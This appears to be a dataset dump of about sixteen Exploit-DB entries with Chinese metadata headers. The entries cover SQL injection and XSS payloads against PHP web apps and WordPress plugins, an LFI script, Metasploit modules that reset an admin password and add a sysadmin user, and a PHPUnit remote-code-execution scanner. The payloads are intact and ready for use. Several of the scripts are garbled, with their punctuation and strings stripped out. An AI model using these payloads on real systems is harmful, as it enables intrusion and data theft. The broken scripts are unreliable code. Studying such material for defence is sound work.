QLWD/code_shield huggingface dataset:
标题: AtomCMS v2.0 - SQLi EDB-ID: 50727 CVE: 2022-24223 类型: WEBAPPS 平台: PHP 发布日期: 2022-02-09 漏洞利用脚本: # Exploit Title: AtomCMS v2.0 - SQLi
# Date: 08/02/2022
# Exploit Author: Luca Cuzzolin aka czz78
# Vendor Homepage: https://github.com/thedigicraft/Atom.CMS
# Version: v2.0
# Category: Webapps
# Tested on: Debian linux
# CVE : CVE-2022-24223


====================================================

# PoC : SQLi :

http://127.0.0.1/Atom.CMS/admin/login.php


POST /Atom.CMS/admin/login.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101
Firefox/91.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: it,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Origin: http://127.0.0.1
Connection: keep-alive
Referer: http://127.0.0.1/Atom.CMS/admin/login.php
Cookie: PHPSESSID=tqfebdu4kn9qj7g6qpa91j9859
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
email=test%40test.com&password=1234


Vulnerable Payload :

Parameter: email (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: email=test@test.com' AND (SELECT 5613 FROM
(SELECT(SLEEP(5)))JnLZ) AND 'pROE'='pROE&password=1234
    Vector: AND (SELECT [RANDNUM] FROM
(SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])

    Type: UNION query
    Title: Generic UNION query (NULL) - 6 columns
    Payload: email=test@test.com' UNION ALL SELECT
NULL,CONCAT(0x717a767a71,0x65557a784e446152424b63724b5a737062464a4267746c70794d5976484c484a5365634158734975,0x71627a7871),NULL,NULL,NULL,NULL--
-&password=1234
    Vector:  UNION ALL SELECT NULL,[QUERY],NULL,NULL,NULL,NULL-- -
---



==================================================== URL: https://www.exploit-db.com/exploits/50727
标题: Hospital Management Startup 1.0 - 'Multiple' SQLi EDB-ID: 50729 CVE: 2022-23366 类型: WEBAPPS 平台: PHP 发布日期: 2022-02-10 漏洞利用脚本: # Exploit Title: Hospital Management Startup 1.0 - 'loginid' SQLi
# Exploit Author: nu11secur1ty
# Date: 02.10.2022
# Vendor: https://github.com/kabirkhyrul
# Software: https://github.com/kabirkhyrul/HMS
# CVE-2022-23366

# Description:
The loginid and password parameters from Hospital Management Startup
1.0 appear to be vulnerable to SQL injection attacks.
The attacker can retrieve all information from the administrator
account of the system and he can use the information for malicious
purposes!
WARNING: If this is in some external domain, or some subdomain, or
internal, this will be extremely dangerous!

Status: CRITICAL


[+] Payloads:

```mysql
---
Parameter: loginid (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: loginid=hackedpassword=hacked' or '6681'='6681' AND
(SELECT 1959 FROM (SELECT(SLEEP(3)))PuyC) AND
'sDHP'='sDHP&rememberme=on&submit=Login
---

```
# Reproduce:
https://github.com/nu11secur1ty/CVE-mitre/edit/main/2022/CVE-2022-23366 URL: https://www.exploit-db.com/exploits/50729
标题: WordPress Plugin Security Audit 1.0.0 - Stored Cross Site Scripting (XSS) EDB-ID: 50723 CVE: 2021-24901 类型: WEBAPPS 平台: PHP 发布日期: 2022-02-08 漏洞利用脚本: # Exploit Title: WordPress Plugin Security Audit 1.0.0 - Stored Cross Site Scripting (XSS)
# Date: 2022-01-26
# Exploit Author: Shweta Mahajan
# Vendor Homepage: https://en-gb.wordpress.org/plugins/titan-labs-security-audit/
# Software Link: https://en-gb.wordpress.org/plugins/titan-labs-security-audit/
# Tested on Windows
# CVE: CVE-2021-24901
# Reference: 
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24901
https://wpscan.com/vulnerability/9c315404-b66a-448c-a3b7-367a37b53435

How to reproduce vulnerability:

1. Install Latest WordPress

2. Install and activate Titan-labs-security-audit Version 1.0.0

3. Navigate to Security Audit settings >> enter the payload into 'Data Id'.

4. Enter JavaScript payload which is mentioned below
    "><img src=x onerror=confirm(1)>

5. You will observe that the payload successfully got stored into the
    database and when you are triggering the same functionality at that
    time JavaScript payload gets executed successfully and we'll get a
    pop-up. URL: https://www.exploit-db.com/exploits/50723
标题: WordPress Plugin CP Blocks 1.0.14 - Stored Cross Site Scripting (XSS) EDB-ID: 50724 CVE: 2022-0448 类型: WEBAPPS 平台: PHP 发布日期: 2022-02-08 漏洞利用脚本: # Exploit Title: WordPress Plugin CP Blocks 1.0.14 - Stored Cross Site Scripting (XSS)
# Date: 2022-02-02
# Exploit Author: Shweta Mahajan
# Vendor Homepage: https://wordpress.org/plugins/cp-blocks/
# Software Link: https://wordpress.org/plugins/cp-blocks/
# Tested on Windows
# CVE: CVE-2022-0448
# Reference:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0448
https://wpscan.com/vulnerability/d4ff63ee-28e6-486e-9aa7-c878b97f707c

How to reproduce vulnerability:

1. Install Latest WordPress

2. Install and activate CP Blocks Version 1.0.14

3. Navigate to CP Blocks - License >> enter the payload into 'License ID'.

4. Enter JavaScript payload which is mentioned below
   "><script>alert(0)</script>

5. You will observe that the payload successfully got stored into the
    database and when you are triggering the same functionality at that
    time JavaScript payload gets executed successfully and we'll get a
    pop-up. URL: https://www.exploit-db.com/exploits/50724
标题: Wordpress Plugin Simple Job Board 2.9.3 - Local File Inclusion EDB-ID: 50721 CVE: 2020-35749 类型: WEBAPPS 平台: PHP 发布日期: 2022-02-08 漏洞利用脚本: # Exploit Title: Wordpress Plugin Simple Job Board 2.9.3 - Local File Inclusion
# Date: 2022-02-06
# Exploit Author: Ven3xy
# Vendor Homepage: https://wordpress.org/plugins/simple-job-board/
# Software Link: https://downloads.wordpress.org/plugin/simple-job-board.2.9.3.zip
# Version: 2.9.3
# Tested on: Ubuntu 20.04 LTS
# CVE : CVE-2020-35749


import requests
import sys
import time

 
    HEADER  
    IMPORTANT  
    NOTICE  
    OKBLUE  
    OKGREEN  
    WARNING  
    RED  
    END  
    UNDERLINE  
    LOGGING  
color_randomcolorHEADERcolorIMPORTANTcolorNOTICEcolorOKBLUEcolorOKGREENcolorWARNINGcolorREDcolorEND,color.UNDERLINE,color.LOGGING]    
    

 
    run  color_random
    run2  color_random           
    run3  color_random
    runrun2run3           
               
    

 sysargv  
    banner
    
    
    exit


    banner
    fetch_path  sysargv
     color_randomfetch_path
    timesleep
    target_url  sysargv
    usernamex  sysargv
    passwordx  sysargv
    
    login  target_url
    wp_path  target_urlfetch_path
    username  usernamex
    password  passwordx

     requestsSession  s
        headers   
                  

        post_data username password 
                   wp_path 
                   
                         
         
        spostlogin headersheaders datapost_data
        resp  sgetwp_path
    
        out_file   
        resptext out_file
        out_fileclose
        color_randomresptext
        out  color_random
        out URL: https://www.exploit-db.com/exploits/50721
标题: Hospital Management System 4.0 - 'multiple' SQL Injection EDB-ID: 50718 CVE: 2022-24263 类型: WEBAPPS 平台: PHP 发布日期: 2022-02-08 漏洞利用脚本: # Title: Hospital Management System 4.0 - 'multiple' SQL Injection
# Author: nu11secur1ty
# Date: 02.06.2022
# Vendor: https://github.com/kishan0725
# Software: https://github.com/kishan0725/Hospital-Management-System
# CVE-2022-24263


## Description:
The Hospital Management System v4.0 is suffering from Multiple
SQL-Injections via three parameters in function.php,  contact.php, and
func3.php applications.
The attacker can be receiving the all information from the system by
using this vulnerability, and also the malicious actor can use
sensitive information from the customers of this system.
WARNING: If this is in some external domain, or some subdomain, or
internal, this will be extremely dangerous!
Status: CRITICAL


[+] Payloads:

---
Parameter: txtName (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: txtName=821761' AND (SELECT 9346 FROM
(SELECT(SLEEP(3)))HJGv) AND
'xkCZ'='xkCZ&txtEmail=xstxPhYW@https://github.com/kishan0725/Hospital-Management-System&txtPhone=813-439-23'+(select
load_file('\\\\k0lnu24kl14z5bxcoo5tj7z4bvho5fz3q6ey1qpf.https://github.com/kishan0725/Hospital-Management-System\\hgq'))+'&btnSubmit=Send
Message&txtMsg=441931
---

-------------------------------------------

---
Parameter: #1* ((custom) POST)
    Type: error-based
    Title: MySQL OR error-based - WHERE or HAVING clause (FLOOR)
    Payload: email=riiVAqjG@https://github.com/kishan0725/Hospital-Management-System'+(select-2936)
OR 1 GROUP BY CONCAT(0x7162706271,(SELECT (CASE WHEN (5080=5080) THEN
1 ELSE 0 END)),0x716b767a71,FLOOR(RAND(0)*2)) HAVING
MIN(0)#from(select(sleep(20)))a)+'&password2=d3U!l9k!E4&patsub=Login

    Type: UNION query
    Title: MySQL UNION query (random number) - 1 column
    Payload: email=riiVAqjG@https://github.com/kishan0725/Hospital-Management-System'+(select-2730)
UNION ALL SELECT
8185,8185,CONCAT(0x7162706271,0x5777534a4b68716f6d4270614362544c4954786a4f774b6852586b47694945644a70757262644c52,0x716b767a71),8185,8185,8185,8185,8185#from(select(sleep(20)))a)+'&password2=d3U!l9k!E4&patsub=Login
---

-------------------------------------------

---
Parameter: #1* ((custom) POST)
    Type: error-based
    Title: MySQL OR error-based - WHERE or HAVING clause (FLOOR)
    Payload: username3=CHnDaCTc'+(select-2423) OR 1 GROUP BY
CONCAT(0x71626a6271,(SELECT (CASE WHEN (5907=5907) THEN 1 ELSE 0
END)),0x716b766b71,FLOOR(RAND(0)*2)) HAVING
MIN(0)#from(select(sleep(20)))a)+'&password3=a5B!n6f!U1&docsub1=Login

    Type: UNION query
    Title: MySQL UNION query (random number) - 1 column
    Payload: username3=CHnDaCTc'+(select-3282) UNION ALL SELECT
CONCAT(0x71626a6271,0x446c68526a796c4475676e54774d6b617a6977736855756f63796f43686d706c637877534a557076,0x716b766b71),4829,4829,4829,4829#from(select(sleep(20)))a)+'&password3=a5B!n6f!U1&docsub1=Login
---

## Reproduce:
https://github.com/nu11secur1ty/CVE-mitre/edit/main/2022/CVE-2022-24263 URL: https://www.exploit-db.com/exploits/50718
标题: Strapi CMS 3.0.0-beta.17.4 - Set Password (Unauthenticated) (Metasploit) EDB-ID: 50716 CVE: 2019-18818 类型: WEBAPPS 平台: NODEJS 发布日期: 2022-02-08 漏洞利用脚本: ##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Auxiliary
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,

                  
           
               
                  
           
        
             
        
              
               
           
      
               
            
        
        
        
            
            
        
         

      

      register_options 
          
      
  

   check

    res      
    version  resbody 

     version  
       
    
       
    
    
  

   run

    json_body       
        datastore
        datastore 

    res  
        
        
        
        json_body
    

    
    json_format  resbody
    jwt  json_format

     rescode URL: https://www.exploit-db.com/exploits/50716
标题: Servisnet Tessa - Add sysAdmin User (Unauthenticated) (Metasploit) EDB-ID: 50714 CVE: 2022-22831 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2022-02-04 漏洞利用脚本: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Servisnet Tessa - Add sysAdmin User (Unauthenticated) (Metasploit)',
      'Description'    => %q(
        This module exploits an authentication bypass in Servisnet Tessa, triggered by add new sysadmin user.
   appjs is publicly available which acts as the backend of the application
                 exposing a default value  the   header 
                it is possible to make unauthenticated requests to some areas of the application 
                     protocol connection information can be obtained with this method
                   user can be added to the database with this header obtained  the source code  

      
           
        
             
             
             
        
               
        
           
        
               
        
       
        
            
              
        
    

    
            
    
  
  
   data string_to_split  
    word  data
    string  word
     string
   
  

   app_path
    res  
    
            target_uripath  
      
       
 
     res  rescode    resbody  
      data  resbody
      
      base_url  data
        
       base_url
    
       
    
  

   add_user
     token  auth_bypass
     newuser   
     id     
     
     json_data    newuser    id    newuser    newuser    newuser  

     res  
       
         
          
         target_uripath app_path 
        
         
             token
         
         json_data
      

       res  rescode    resbody  
        
        
        
      
         
      
  

   auth_bypass

    res  
    
            target_uripath  
      
       
 
     res  rescode    resbody  
   token  resbody 
     
           token
 
    
 

  

   check  
 
     auth_bypass   
       
    
       
    
  
  
   run
       check
       
    
    add_user URL: https://www.exploit-db.com/exploits/50714
标题: WordPress Plugin Post Grid 2.1.1 - Cross Site Scripting (XSS) EDB-ID: 50705 CVE: 2021-24488 类型: WEBAPPS 平台: PHP 发布日期: 2022-02-02 漏洞利用脚本: # Exploit Title: WordPress Plugin Post Grid 2.1.1 - Cross Site Scripting (XSS)
# Date: 3/16/2021
# Author: 0xB9
# Software Link: https://wordpress.org/plugins/post-grid/
# Version: 2.1.1
# Tested on: Windows 10
# CVE: CVE-2021-24488

1. Description:
This plugin creates a post grid from any post types. The slider import search feature and tab parameter via plugin settings are vulnerable to reflected cross-site scripting.

2. Proof of Concept:
wp-admin/edit.php?post_type=post_grid&page=post-grid-settings&tab="><script>alert(1)</script>
wp-admin/edit.php?post_type=post_grid&page=import_layouts&keyword="onmouseover=alert(1)// URL: https://www.exploit-db.com/exploits/50705
标题: WordPress Plugin Product Slider for WooCommerce 1.13.21 - Cross Site Scripting (XSS) EDB-ID: 50704 CVE: 2021-24300 类型: WEBAPPS 平台: PHP 发布日期: 2022-02-02 漏洞利用脚本: # Exploit Title: WordPress Plugin Product Slider for WooCommerce 1.13.21 - Cross Site Scripting (XSS)
# Date: 3/16/2021
# Author: 0xB9
# Software Link: https://wordpress.org/plugins/woocommerc...ts-slider/
# Version: 1.13.21
# Tested on: Windows 10
# CVE: CVE-2021-24300

1. Description:
This plugin is a easy carousel slider for WooCommerce products. The slider import search feature is vulnerable to reflected cross-site scripting.

2. Proof of Concept:
wp-admin/edit.php?post_type=wcps&page=import_layouts&keyword="onmouseover=alert(1);// URL: https://www.exploit-db.com/exploits/50704
标题: WordPress Plugin Contact Form Check Tester 1.0.2 - Broken Access Control EDB-ID: 50703 CVE: 2021-24247 类型: WEBAPPS 平台: PHP 发布日期: 2022-02-02 漏洞利用脚本: # Exploit Title: WordPress Plugin Contact Form Check Tester 1.0.2 - Broken Access Control
# Date: 2/28/2021
# Author: 0xB9
# Software Link: https://wordpress.org/plugins/contact-fo...ck-tester/
# Version: 1.0.2
# Tested on: Windows 10
# CVE: CVE-2021-24247

1. Description:
The plugin settings are visible to all registered users in the dashboard.
A registered user can leave a payload in the plugin settings.

2. Proof of Concept:
- Register an account
- Navigate to the dashboard
- Go to CF7 Check Tester -> Settings
- Add a form
- Add a field to the form
- Put in a payload in either Field selector or Field value  "><script>alert(1)</script>
- Save
Anyone who visits the settings page will execute the payload. URL: https://www.exploit-db.com/exploits/50703
标题: PHP Unit 4.8.28 - Remote Code Execution (RCE) (Unauthenticated) EDB-ID: 50702 CVE: 2017-9841 类型: WEBAPPS 平台: PHP 发布日期: 2022-02-02 漏洞利用脚本: # Exploit Title: PHP Unit 4.8.28 - Remote Code Execution (RCE) (Unauthenticated)
# Date: 2022/01/30 
# Exploit Author: souzo 
# Vendor Homepage: phpunit.de
# Version: 4.8.28
# Tested on: Unit
# CVE : CVE-2017-9841

import requests
from sys import argv
phpfiles = ["/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", "/yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", "/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", "/laravel52/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php",  

 site
    vuln  
    
         i  phpfiles
            site  sitei
            req  requestsgetsiteheaders 
                  
                  f
            data
               reqtext
                f
                 site 
    
         vuln
 
    exitf

 
     argv  
        
        argv     argv     argv
        
    site  argv
     siteendswith
        site  site
        sitesite    
        site  joinsite

    pathvuln  check_vulnsite
     pathvuln  
        exit
    
         
            cmd  
            req  requestsgetpathvulnheaders
                  f
                  
            dataf
            reqtext
     Exception  ex
        exit  ex
main URL: https://www.exploit-db.com/exploits/50702
标题: Moodle 3.11.4 - SQL Injection EDB-ID: 50700 CVE: 2022-0332 类型: WEBAPPS 平台: PHP 发布日期: 2022-02-02 漏洞利用脚本: # Exploit Title: Moodle 3.11.4  - SQL Injection
# Date: 30/01/2022
# Exploit Author: lavclash75
# Vendor Homepage: https://moodle.org/
# Version: Moodle 3.11 to 3.11.4
# CVE: CVE-2022-0332
# POC

```
GET /moodle-3.11.4/webservice/rest/server.php?wstoken=98f7d8003180afbd46ee160fdc05a4fc&wsfunction=mod_h5pactivity_get_user_attempts&moodlewsrestformat=json&h5pactivityid=1&sortorder=%28SELECT%20%28CASE%20WHEN%20%28ORD%28MID%28%28IFNULL%28CAST%28DATABASE%28%29%20AS%20NCHAR%29%2C0x20%29%29%2C4%2C1%29%29%3E104%29%20THEN%20%27%27%20ELSE%20%28SELECT%205080%20UNION%20SELECT%204100%29%20END%29%29 HTTP/1.1
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:22.0) Gecko/20130328 Firefox/22.0
Host: local.numanturle.com
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close

```

```

```

![PHP](img/orderby.jpg?raw=true "PHP")
![PHP](img/uri.jpg?raw=true "PHP")
![PHP](img/sqlmap.jpg?raw=true "PHP")

# Reference
 * [CVE-2022-0332](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0332)
 * [Git](https://git.moodle.org/gw?p=moodle.git;a=blobdiff;f=mod/h5pactivity/classes/external/get_user_attempts.php;h=8a27f821bc37f20bafaba6ef436871717b3817a3;hp=216653e93315c4d8ca084fe1e62b2041dece4531;hb=c7a62a8c82219b50589257f79021da1df1a76808;hpb=2ee27313cea0d7073f5a6a35eccdfddcb3a9adad) URL: https://www.exploit-db.com/exploits/50700
标题: Wordpress Plugin 404 to 301 2.0.2 - SQL-Injection (Authenticated) EDB-ID: 50698 CVE: 2015-9323 类型: WEBAPPS 平台: PHP 发布日期: 2022-02-02 漏洞利用脚本: # Exploit Title: Wordpress Plugin 404 to 301 2.0.2 - SQL-Injection (Authenticated)
# Date 30.01.2022
# Exploit Author: Ron Jost (Hacker5preme)
# Vendor Homepage: https://de.wordpress.org/plugins/404-to-301/
# Software Link: https://downloads.wordpress.org/plugin/404-to-301.2.0.2.zip
# Version: <= 2.0.2
# Tested on: Ubuntu 20.04
# CVE: CVE-2015-9323
# CWE: CWE-89
# Documentation: https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2015-9323/README.md

'''
Description:
The 404-to-301 plugin before 2.0.3 for WordPress has SQL injection.
'''

banner  
banner

 argparse
 os
 requests
 datetime  datetime
 json


my_parser  argparseArgumentParserdescription
my_parseradd_argument  
my_parseradd_argument  
my_parseradd_argument  
my_parseradd_argument  
my_parseradd_argument  
args  my_parserparse_args
target_ip  argsIP
target_port  argsPORT
wp_path  argsPATH
username  argsUSERNAME
password  argsPASSWORD

  datetimenowstrftime



session  requestsSession
auth_url    target_ip    target_port  wp_path  
check  sessiongetauth_url

header  
     target_ip
     
     
     
     
     
       target_ip
     
     



body  
     username
     password
     
     

auth  sessionpostauth_url headersheader databody




 
cookies_session  sessioncookiesget_dict
cookie  jsondumpscookies_session
cookie  cookiereplace
cookie  cookiereplace 
cookie  cookiereplace 
cookie  cookiereplace 
cookie  cookiereplace 
cookie  cookiereplace 

exploit_url  r  target_ip    target_port  wp_path  r
exploit_risk  
exploit_cookie  r  cookie  r












retrieve_mode  
exploit_code  exploit_url  exploit_risk  exploit_cookie  retrieve_mode  
ossystemexploit_code
  datetimenowstrftime URL: https://www.exploit-db.com/exploits/50698
标题: WordPress Plugin Domain Check 1.0.16 - Reflected Cross-Site Scripting (XSS) (Authenticated) EDB-ID: 50697 CVE: 2021-24926 类型: WEBAPPS 平台: PHP 发布日期: 2022-02-02 漏洞利用脚本: # Exploit Title: WordPress Plugin Domain Check 1.0.16 - Reflected Cross-Site Scripting (XSS) (Authenticated)
# Date: 30-10-2021
# Exploit Author: Ceylan Bozogullarindan
# Author Webpage: https://bozogullarindan.com
# Vendor Homepage: https://domaincheckplugin.com/
# Software Link: https://wordpress.org/plugins/domain-check/
# Version: 1.0.16
# Tested on: Linux
# CVE: CVE-2021-24926 (https://wpscan.com/vulnerability/8cc7cbbd-f74f-4f30-9483-573641fea733)


# Description:

Domain Check is a Wordpress plugin that allows you to see what domains and SSL certificates are coming up for expiration and to quickly locate the coupons, coupon codes, and deals from your favorite sites before renewing.

An authenticated user is able to inject arbitrary Javascript or HTML code to the "Domain Check Profile" interface available in settings page of the plugin, due to incorrect sanitization of user-supplied data and achieve a Reflected Cross-Site Scripting attack against the administrators. The plugin versions prior to 1.0.16 are affected by this vulnerability.


The details of the discovery are given below.


# Steps To Reproduce:
1. Just visit the following page after signing in the administrator panel: http://vulnerable-wordpress-website/wp-admin/admin.php?page=domain-check-profile&domain=hacked.foo<script>alert(1)</script>
2. The XSS will be triggered on the settings page. URL: https://www.exploit-db.com/exploits/50697
标题: Wordpress Plugin Download Monitor WordPress V 4.4.4 - SQL Injection (Authenticated) EDB-ID: 50695 CVE: 2021-24786 类型: WEBAPPS 平台: PHP 发布日期: 2022-02-02 漏洞利用脚本: # Exploit Title: Wordpress Plugin Download Monitor WordPress V 4.4.4 - SQL Injection (Authenticated)
# Date 28.01.2022
# Exploit Author: Ron Jost (Hacker5preme)
# Vendor Homepage: https://www.download-monitor.com/
# Software Link: https://downloads.wordpress.org/plugin/download-monitor.4.4.4.zip
# Version: < 4.4.5
# Tested on: Ubuntu 20.04
# CVE: CVE-2021-24786
# CWE: CWE-89
# Documentation: https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-24786/README.md

'''
Description:
The Download Monitor WordPress plugin before 4.4.5 does not properly validate and escape the "orderby" GET parameter
before using it in a SQL statement when viewing the logs, leading to an SQL Injection issue
'''


banner  
banner

 argparse
 requests
 datetime  datetime


my_parser  argparseArgumentParserdescription
my_parseradd_argument  
my_parseradd_argument  
my_parseradd_argument  
my_parseradd_argument  
my_parseradd_argument  
args  my_parserparse_args
target_ip  argsIP
target_port  argsPORT
wp_path  argsPATH
username  argsUSERNAME
password  argsPASSWORD

  datetimenowstrftime


session  requestsSession
auth_url    target_ip    target_port  wp_path  
check  sessiongetauth_url

header  
     target_ip
     
     
     
     
     
       target_ip
     
     



body  
     username
     password
     
     

auth  sessionpostauth_url headersheader databody



 


sql_injection_code  
sql_injection_code  sql_injection_codereplace 
exploitcode_url    target_ip    target_port  wp_path    sql_injection_code  
exploit  sessiongetexploitcode_url
exploit
  datetimenowstrftime URL: https://www.exploit-db.com/exploits/50695